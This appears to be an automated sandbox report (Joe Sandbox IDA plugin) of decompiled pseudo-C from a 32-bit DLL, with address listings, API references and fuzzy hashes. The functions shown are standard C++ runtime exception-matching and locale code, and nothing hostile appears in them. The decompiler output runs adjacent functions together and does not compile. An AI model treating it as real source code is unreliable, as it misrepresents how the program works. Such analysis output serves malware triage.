					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6DA8C463(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6DA8C463(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6DA8C463(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6DA8C463(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6DA8A34B(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6DA8C75F(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6DA8A783(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6DA8C463(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6DA8D1EE(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6DA8C463(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6DA8C463(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6DA8C463(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6DA8C463(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6DA8D1EE(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6DA9122B(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6DA8CE82( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6dad4b28) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6DA8A783(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6DA8CE6A( &_v64);
											E6DA8AA9D( &_v64, 0x6dab121c);
											L63:
											 *(E6DA8C463(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6DA8C463(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6DA8A53E(_t279, _t319, _t274);
											E6DA8D0EE(_a8, _a16, _t305);
											_t235 = E6DA8D2AB(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6DA8D065(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6da8c7df
0x6da8c7e6
0x6da8c7e8
0x6da8c7f1
0x6da8c7f7
0x6da8c7ff
0x6da8c801
0x6da8c804
0x6da8c80a
0x6da8cb83
0x6da8cb83
0x6da8cb88
0x6da8cb8a
0x6da8cb8c
0x6da8cb8f
0x6da8cb90
0x6da8cb93
0x6da8cb99
0x6da8ccb8
0x6da8cb9f
0x6da8cba1
0x6da8cba8
0x6da8cbab
0x6da8cbae
0x6da8cbb4
0x6da8cbb6
0x6da8cbbb
0x6da8cbbe
0x6da8cbc0
0x6da8cbc6
0x6da8cbc8
0x6da8cbce
0x6da8cbe3
0x6da8cbe8
0x6da8cbeb
0x6da8cbed
0x6da8ccb4
0x00000000
0x6da8ccb5
0x6da8cbed
0x6da8cbce
0x6da8cbc6
0x6da8cbbe
0x6da8cbf3
0x6da8cbf6
0x6da8cbf9
0x6da8cbfc
0x6da8cbff
0x6da8cc05
0x6da8cc17
0x6da8cc1c
0x6da8cc1f
0x6da8cc22
0x6da8cc25
0x6da8cc28
0x6da8cc2b
0x6da8cc2e
0x00000000
0x00000000
0x6da8cc34
0x6da8cc34
0x6da8cc37
0x6da8cc3a
0x6da8cc49
0x6da8cc4a
0x6da8cc4a
0x6da8cc4c
0x6da8cc4f
0x00000000
0x00000000
0x6da8cc51
0x6da8cc54
0x00000000
0x00000000
0x6da8cc62
0x6da8cc64
0x6da8cc67
0x6da8cc69
0x6da8cc71
0x6da8cc71
0x6da8cc74
0x6da8cc76
0x6da8cc78
0x6da8cc94
0x6da8cc99
0x6da8cc9c
0x6da8cc9c
0x00000000
0x6da8cc74
0x6da8cc6b
0x6da8cc6f
0x00000000
0x00000000
0x00000000
0x6da8cc9f
0x6da8cca2
0x6da8cca3
0x6da8cca6
0x6da8cca9
0x6da8ccac
0x6da8ccaf
0x6da8ccaf
0x00000000
0x6da8cc3a
0x6da8ccb9
0x6da8ccbe
0x6da8ccbf
0x6da8ccc2
0x6da8ccc5
0x6da8ccc6
0x6da8ccc7
0x6da8ccc8
0x6da8cccb
0x6da8cccd
0x6da8cd45
0x6da8cd47
0x6da8cd47
0x6da8cccf
0x6da8cccf
0x6da8ccd2
0x6da8ccd5
0x00000000
0x6da8ccd7
0x6da8ccd7
0x6da8ccda
0x6da8ccdd
0x6da8cce4
0x6da8cce4
0x6da8cce7
0x6da8cce9
0x6da8cceb
0x6da8cd1d
0x6da8cd1d
0x6da8cd20
0x6da8cd27
0x6da8cd27
0x6da8cd2a
0x6da8cd2d
0x6da8cd34
0x6da8cd34
0x6da8cd37
0x6da8cd3e
0x6da8cd40
0x6da8cd40
0x6da8cd39
0x6da8cd39
0x6da8cd3c
0x00000000
0x00000000
0x6da8cd3c
0x6da8cd2f
0x6da8cd2f
0x6da8cd32
0x00000000
0x00000000
0x6da8cd32
0x6da8cd22
0x6da8cd22
0x6da8cd25
0x00000000
0x00000000
0x6da8cd25
0x6da8cd41
0x6da8cced
0x6da8cced
0x6da8cced
0x6da8ccf0
0x6da8ccf0
0x6da8ccf2
0x6da8ccf4
0x00000000
0x00000000
0x6da8ccf6
0x6da8ccf8
0x6da8cd0c
0x6da8cd0c
0x6da8ccfa
0x6da8ccfa
0x6da8ccfd
0x6da8cd00
0x00000000
0x6da8cd02
0x6da8cd02
0x6da8cd05
0x6da8cd08
0x6da8cd0a
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8cd0a
0x6da8cd00
0x6da8cd15
0x6da8cd15
0x6da8cd17
0x00000000
0x6da8cd19
0x6da8cd19
0x6da8cd19
0x00000000
0x6da8cd17
0x6da8cd10
0x6da8cd12
0x6da8cd12
0x00000000
0x6da8cd12
0x6da8ccdf
0x6da8ccdf
0x6da8cce2
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8cce2
0x6da8ccdd
0x6da8ccd5
0x6da8cd48
0x6da8cd4c
0x6da8cd4c
0x6da8c819
0x6da8c819
0x6da8c822
0x6da8c91f
0x6da8c91f
0x6da8c922
0x00000000
0x6da8c851
0x6da8c851
0x6da8c856
0x00000000
0x6da8c85c
0x6da8c85c
0x6da8c864
0x6da8cb1d
0x6da8cb21
0x6da8c86a
0x6da8c86f
0x6da8c872
0x6da8c877
0x6da8c87e
0x6da8c883
0x00000000
0x6da8c8bb
0x6da8c8c3
0x6da8c927
0x6da8c927
0x6da8c92a
0x6da8c92d
0x6da8c92f
0x6da8c932
0x6da8c935
0x6da8c93b
0x6da8caec
0x6da8caec
0x6da8caef
0x00000000
0x6da8caf1
0x6da8caf1
0x6da8caf4
0x00000000
0x6da8cafa
0x6da8cafa
0x6da8cafd
0x6da8cb00
0x6da8cb01
0x6da8cb02
0x6da8cb05
0x6da8cb06
0x6da8cb09
0x6da8cb0a
0x6da8cb0f
0x00000000
0x6da8cb0f
0x6da8caf4
0x6da8c941
0x6da8c941
0x6da8c945
0x00000000
0x6da8c94b
0x6da8c94b
0x6da8c952
0x6da8c96a
0x6da8c96a
0x6da8c96d
0x6da8c970
0x6da8c976
0x6da8c986
0x6da8c98b
0x6da8c98e
0x6da8c991
0x6da8c994
0x6da8c997
0x6da8c99a
0x6da8c99d
0x6da8c9a3
0x6da8c9a3
0x6da8c9a6
0x6da8c9a9
0x6da8c9b8
0x6da8c9b9
0x6da8c9b9
0x6da8c9bb
0x6da8c9be
0x6da8c9c4
0x6da8c9c7
0x6da8c9cd
0x6da8c9cf
0x6da8c9d2
0x6da8c9d5
0x6da8c9de
0x6da8c9e1
0x6da8c9e3
0x6da8c9e3
0x6da8c9e6
0x6da8c9e9
0x6da8c9ec
0x6da8c9ef
0x6da8c9f2
0x6da8c9f7
0x6da8c9f8
0x6da8c9f9
0x6da8c9fa
0x6da8c9fb
0x6da8c9fe
0x6da8ca00
0x6da8ca02
0x00000000
0x6da8ca04
0x6da8ca04
0x6da8ca04
0x6da8ca07
0x6da8ca0a
0x6da8ca0c
0x6da8ca0d
0x6da8ca12
0x6da8ca15
0x6da8ca17
0x00000000
0x00000000
0x6da8ca19
0x6da8ca1a
0x6da8ca1d
0x6da8ca1f
0x00000000
0x6da8ca21
0x6da8ca21
0x6da8ca24
0x6da8ca27
0x00000000
0x6da8ca27
0x00000000
0x6da8ca1f
0x6da8ca3b
0x6da8ca41
0x6da8ca5e
0x6da8ca63
0x6da8ca63
0x6da8ca66
0x6da8ca66
0x00000000
0x6da8ca2a
0x6da8ca2a
0x6da8ca2b
0x6da8ca2e
0x6da8ca31
0x6da8ca34
0x6da8ca34
0x00000000
0x6da8ca39
0x6da8c9d5
0x6da8c9c7
0x6da8ca69
0x6da8ca6c
0x6da8ca6d
0x6da8ca70
0x6da8ca73
0x6da8ca76
0x6da8ca79
0x6da8ca79
0x6da8ca82
0x6da8ca85
0x6da8ca85
0x6da8c99d
0x6da8ca88
0x6da8ca8c
0x6da8ca8e
0x6da8ca91
0x6da8ca97
0x6da8ca97
0x6da8ca9f
0x6da8caa4
0x6da8cb12
0x6da8cb12
0x6da8cb17
0x6da8cb1b
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8caa6
0x6da8caa6
0x6da8caaa
0x6da8cabc
0x6da8cabf
0x6da8cac2
0x6da8cac4
0x6da8cadb
0x6da8cadf
0x6da8cae5
0x6da8cae6
0x6da8cae8
0x00000000
0x6da8caea
0x00000000
0x6da8caea
0x6da8cac6
0x6da8cacb
0x6da8cace
0x6da8cad3
0x6da8cad6
0x00000000
0x6da8cad6
0x6da8caac
0x6da8caaf
0x6da8cab2
0x6da8cab4
0x00000000
0x6da8cab6
0x6da8cab6
0x6da8caba
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8caba
0x6da8cab4
0x6da8caaa
0x6da8c954
0x6da8c954
0x6da8c95b
0x00000000
0x6da8c95d
0x6da8c95d
0x6da8c964
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8c964
0x6da8c95b
0x6da8c952
0x6da8c945
0x6da8c8c5
0x6da8c8cd
0x6da8c8d0
0x6da8c8d5
0x6da8c8d9
0x6da8c8dc
0x6da8c8e2
0x6da8c8e5
0x00000000
0x6da8c8e7
0x6da8c8e7
0x6da8c8ea
0x6da8c8ec
0x6da8cb22
0x6da8cb22
0x00000000
0x6da8c8f2
0x6da8c8fa
0x6da8c905
0x00000000
0x00000000
0x6da8c90e
0x6da8c911
0x6da8c912
0x6da8c915
0x6da8c917
0x00000000
0x6da8c91d
0x00000000
0x6da8c91d
0x00000000
0x6da8c917
0x6da8c8f2
0x6da8cb27
0x6da8cb27
0x6da8cb29
0x6da8cb2a
0x6da8cb31
0x6da8cb34
0x6da8cb42
0x6da8cb47
0x6da8cb4c
0x6da8cb4f
0x6da8cb54
0x6da8cb57
0x6da8cb5a
0x6da8cb5c
0x6da8cb5e
0x6da8cb5e
0x6da8cb63
0x6da8cb6f
0x6da8cb75
0x6da8cb7a
0x6da8cb7d
0x6da8cb7e
0x00000000
0x6da8cb7e
0x6da8c8e5
0x6da8c8c3
0x6da8c883
0x6da8c864
0x6da8c856
0x6da8c822

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6DA8C8DC
type_info::operator==.LIBVCRUNTIME ref: 6DA8C8FE
___TypeMatch.LIBVCRUNTIME ref: 6DA8CA0D
IsInExceptionSpec.LIBVCRUNTIME ref: 6DA8CADF
_UnwindNestedFrames.LIBCMT ref: 6DA8CB63
CallUnexpected.LIBVCRUNTIME ref: 6DA8CB7E

Strings

csm, xrefs: 6DA8C81C
csm, xrefs: 6DA8C935
csm, xrefs: 6DA8C889

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 327ced46414c436831ab86afeb4d1cebe9738f67bdf3bc3f2b03a6eebb77e596
Instruction ID: 0183c17aa24aa56d85d254d74020624a9defea339edbd584e15f28c9fa3a3b65
Opcode Fuzzy Hash: 327ced46414c436831ab86afeb4d1cebe9738f67bdf3bc3f2b03a6eebb77e596
Instruction Fuzzy Hash: 9BB16875C0820AEFCF05CFA4D9849AEBBB6FF08314B15465AED116B216D730DAA1CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6DA85A50 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E6DA85A50(void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				unsigned int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				char _v48;
				signed int _v52;
				short _v56;
				char _v60;
				short _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v132;
				char _v148;
				intOrPtr _v220;
				signed int _v232;
				char _v240;
				signed int _v244;
				signed int _v256;
				signed int _v260;
				signed int _v272;
				intOrPtr _v280;
				signed int _v292;
				signed int _t218;
				signed int _t221;
				signed int _t224;
				signed int _t234;
				void* _t243;
				void* _t259;
				signed int _t262;
				unsigned int _t264;
				void* _t265;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				unsigned int _t285;
				void* _t286;
				signed int _t289;
				signed int _t304;
				signed int _t306;
				signed int _t307;
				unsigned int _t309;
				void* _t310;
				signed int _t324;
				signed int _t326;
				void* _t329;
				signed int _t334;
				signed int _t335;
				void* _t342;
				signed int _t347;
				signed int _t348;
				void* _t357;
				signed int _t362;
				signed int _t363;
				void* _t365;
				signed int _t367;
				signed int _t369;
				signed int* _t371;
				signed int* _t372;
				signed int* _t373;
				intOrPtr _t382;
				signed int _t388;
				signed int* _t394;
				signed int _t400;
				void* _t402;
				void* _t409;
				void* _t411;
				signed int _t424;
				signed int _t425;
				signed int _t426;
				signed int _t429;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t435;
				unsigned int _t437;
				signed int _t438;
				signed int _t449;
				signed int _t451;
				signed int _t453;
				signed int _t455;
				signed int _t456;
				intOrPtr _t457;
				signed int _t459;
				unsigned int _t460;
				signed int _t461;
				signed int _t463;
				signed int _t467;
				signed int _t468;
				signed int _t470;
				signed int _t473;
				signed int _t474;
				signed int _t476;
				unsigned int _t480;
				unsigned int _t482;
				unsigned int _t484;
				void* _t486;
				void* _t487;
				void* _t495;
				unsigned int _t498;
				void* _t499;
				unsigned int _t502;
				void* _t503;
				unsigned int _t505;
				void* _t506;
				void* _t508;
				void* _t509;
				void* _t510;
				void* _t511;
				void* _t531;

				_push(__ebx);
				_t365 = _t495;
				_t498 = (_t495 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t365 + 4));
				_t480 = _t498;
				_push(0xffffffff);
				_push(E6DAA25EC);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t498;
				_push(_t365);
				_t499 = _t498 - 0x58;
				_push(__esi);
				_push(__edi);
				E6DA888D6( &_v40, 0);
				_v16 = 0;
				_t429 =  *0x6dad5060; // 0x0
				_t218 =  *0x6dad5c80; // 0x0
				_v36 = _t218;
				if(_t429 == 0) {
					E6DA888D6( &_v32, _t429);
					_t531 =  *0x6dad5060 - _t429; // 0x0
					if(_t531 == 0) {
						_t362 =  *0x6dad5048; // 0x0
						_t363 = _t362 + 1;
						 *0x6dad5048 = _t363;
						 *0x6dad5060 = _t363;
					}
					E6DA8892E( &_v32);
					_t429 =  *0x6dad5060; // 0x0
				}
				_t9 =  *((intOrPtr*)(_t365 + 8)) + 4; // 0x6a108bc8
				_t382 =  *_t9;
				if(_t429 >=  *((intOrPtr*)(_t382 + 0xc))) {
					_t449 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t449 =  *( *((intOrPtr*)(_t382 + 8)) + _t429 * 4);
					if(_t449 == 0) {
						L8:
						__eflags =  *((char*)(_t382 + 0x14));
						if( *((char*)(_t382 + 0x14)) == 0) {
							L11:
							__eflags = _t449;
							if(_t449 != 0) {
								goto L6;
							} else {
								goto L12;
							}
						} else {
							_t357 = E6DA88AB3();
							__eflags = _t429 -  *((intOrPtr*)(_t357 + 0xc));
							if(_t429 >=  *((intOrPtr*)(_t357 + 0xc))) {
								L12:
								_t221 = _v36;
								__eflags = _t221;
								if(__eflags == 0) {
									_t449 = E6DA89399(_t429, _t449, __eflags, 0x18);
									_t502 = _t499 + 4;
									_v36 = _t449;
									_t24 =  *((intOrPtr*)(_t365 + 8)) + 4; // 0x6a108bc8
									_t224 =  *_t24;
									__eflags = _t224;
									if(_t224 == 0) {
										_t431 = 0x6daaf2c7;
									} else {
										_t431 =  *(_t224 + 0x18);
										__eflags = _t431;
										if(_t431 == 0) {
											_t26 = _t224 + 0x1c; // 0x6a108be4
											_t431 = _t26;
										}
									}
									E6DA888D6( &_v112, 0);
									_v108 = 0;
									_v104 = 0;
									_v100 = 0;
									_v96 = 0;
									_v92 = 0;
									_v88 = 0;
									_v84 = 0;
									_v80 = 0;
									_v76 = 0;
									_v72 = 0;
									_v68 = 0;
									_v64 = 0;
									_v16 = 8;
									__eflags = _t431;
									if(_t431 == 0) {
										E6DA88889("bad locale name");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t480);
										_t482 = _t502;
										_push(0xffffffff);
										_push(E6DAA265C);
										_push( *[fs:0x0]);
										 *[fs:0x0] = _t502;
										_t503 = _t502 - 0x3c;
										_push(_t365);
										_push(_t449);
										_push(_t431);
										E6DA888D6( &_v148, 0);
										_v132 = 0;
										_t432 =  *0x6dad5cb4; // 0x0
										_t367 =  *0x6dad5c7c; // 0x0
										__eflags = _t432;
										if(_t432 == 0) {
											E6DA888D6( &_v32, _t432);
											__eflags =  *0x6dad5cb4 - _t432; // 0x0
											if(__eflags == 0) {
												_t347 =  *0x6dad5048; // 0x0
												_t348 = _t347 + 1;
												__eflags = _t348;
												 *0x6dad5048 = _t348;
												 *0x6dad5cb4 = _t348;
											}
											E6DA8892E( &_v32);
											_t432 =  *0x6dad5cb4; // 0x0
										}
										_t388 =  *(_v8 + 4);
										__eflags = _t432 -  *((intOrPtr*)(_t388 + 0xc));
										if(_t432 >=  *((intOrPtr*)(_t388 + 0xc))) {
											_t451 = 0;
											__eflags = 0;
											goto L29;
										} else {
											_t451 =  *( *((intOrPtr*)(_t388 + 8)) + _t432 * 4);
											__eflags = _t451;
											if(_t451 == 0) {
												L29:
												__eflags =  *((char*)(_t388 + 0x14));
												if( *((char*)(_t388 + 0x14)) == 0) {
													L32:
													__eflags = _t451;
													if(_t451 != 0) {
														goto L27;
													} else {
														goto L33;
													}
												} else {
													_t342 = E6DA88AB3();
													__eflags = _t432 -  *((intOrPtr*)(_t342 + 0xc));
													if(_t432 >=  *((intOrPtr*)(_t342 + 0xc))) {
														L33:
														__eflags = _t367;
														if(__eflags == 0) {
															_t451 = E6DA89399(_t432, _t451, __eflags, 8);
															_t505 = _t503 + 4;
															_v32 = _t451;
															_t234 =  *(_v8 + 4);
															__eflags = _t234;
															if(_t234 == 0) {
																_t434 = 0x6daaf2c7;
															} else {
																_t434 =  *(_t234 + 0x18);
																__eflags = _t434;
																if(_t434 == 0) {
																	_t434 = _t234 + 0x1c;
																}
															}
															E6DA888D6( &_v88, 0);
															_v84 = 0;
															_v80 = 0;
															_v76 = 0;
															_v72 = 0;
															_v68 = 0;
															_v64 = 0;
															_v60 = 0;
															_v56 = 0;
															_v52 = 0;
															_v48 = 0;
															_v44 = 0;
															_v40 = 0;
															_v20 = 8;
															__eflags = _t434;
															if(_t434 == 0) {
																E6DA88889("bad locale name");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t482);
																_t484 = _t505;
																_push(0xffffffff);
																_push(E6DAA2685);
																_push( *[fs:0x0]);
																 *[fs:0x0] = _t505;
																_t506 = _t505 - 0xc;
																_push(_t367);
																_push(_t451);
																_push(_t434);
																E6DA888D6( &_v240, 0);
																_v220 = 0;
																_t435 =  *0x6dad5cb8; // 0x0
																_t369 =  *0x6dad5c78; // 0x0
																_v232 = _t369;
																__eflags = _t435;
																if(_t435 == 0) {
																	E6DA888D6( &_v40, _t435);
																	__eflags =  *0x6dad5cb8 - _t435; // 0x0
																	if(__eflags == 0) {
																		_t334 =  *0x6dad5048; // 0x0
																		_t335 = _t334 + 1;
																		__eflags = _t335;
																		 *0x6dad5048 = _t335;
																		 *0x6dad5cb8 = _t335;
																	}
																	E6DA8892E( &_v40);
																	_t435 =  *0x6dad5cb8; // 0x0
																}
																_t394 =  *(_v12 + 4);
																__eflags = _t435 - _t394[3];
																if(_t435 >= _t394[3]) {
																	_t453 = 0;
																	__eflags = 0;
																	goto L50;
																} else {
																	_t453 =  *(_t394[2] + _t435 * 4);
																	__eflags = _t453;
																	if(_t453 != 0) {
																		L58:
																		E6DA8892E( &_v44);
																		 *[fs:0x0] = _v32;
																		return _t453;
																	} else {
																		L50:
																		__eflags = _t394[5];
																		if(_t394[5] == 0) {
																			L53:
																			__eflags = _t453;
																			if(_t453 != 0) {
																				goto L58;
																			} else {
																				goto L54;
																			}
																		} else {
																			_t329 = E6DA88AB3();
																			__eflags = _t435 -  *((intOrPtr*)(_t329 + 0xc));
																			if(_t435 >=  *((intOrPtr*)(_t329 + 0xc))) {
																				L54:
																				__eflags = _t369;
																				if(_t369 == 0) {
																					_t243 = E6DA862F0(_t369, _t435,  &_v36, _v12);
																					_t508 = _t506 + 8;
																					__eflags = _t243 - 0xffffffff;
																					if(__eflags == 0) {
																						E6DA82950();
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						_push(_t484);
																						_t486 = _t508;
																						_t509 = _t508 - 8;
																						_push(_t369);
																						_t371 = _t394;
																						_t397 = 0x7fffffff;
																						_push(_t453);
																						_t455 = _v244;
																						_t424 = _t371[4];
																						_v256 = _t424;
																						_push(_t435);
																						__eflags = 0x7fffffff - _t424 - _t455;
																						if(__eflags < 0) {
																							E6DA814C0(_t371, 0x7fffffff, _t424, __eflags);
																							goto L81;
																						} else {
																							_t435 = _t371[5];
																							_t307 = _t424 + _t455;
																							_v32 = _t307;
																							_t473 = _t307 | 0x0000000f;
																							_v16 = _t435;
																							__eflags = _t473 - 0x7fffffff;
																							if(__eflags <= 0) {
																								_t309 = _t435 >> 1;
																								_t397 = 0x7fffffff - _t309;
																								__eflags = _t435 - _t397;
																								if(__eflags <= 0) {
																									_t310 = _t309 + _t435;
																									__eflags = _t473 - _t310;
																									_t455 =  <  ? _t310 : _t473;
																									_t124 = _t455 + 1; // 0x80000000
																									_t397 = _t124;
																									__eflags = _t397 - 0x1000;
																									if(_t397 < 0x1000) {
																										__eflags = _t397;
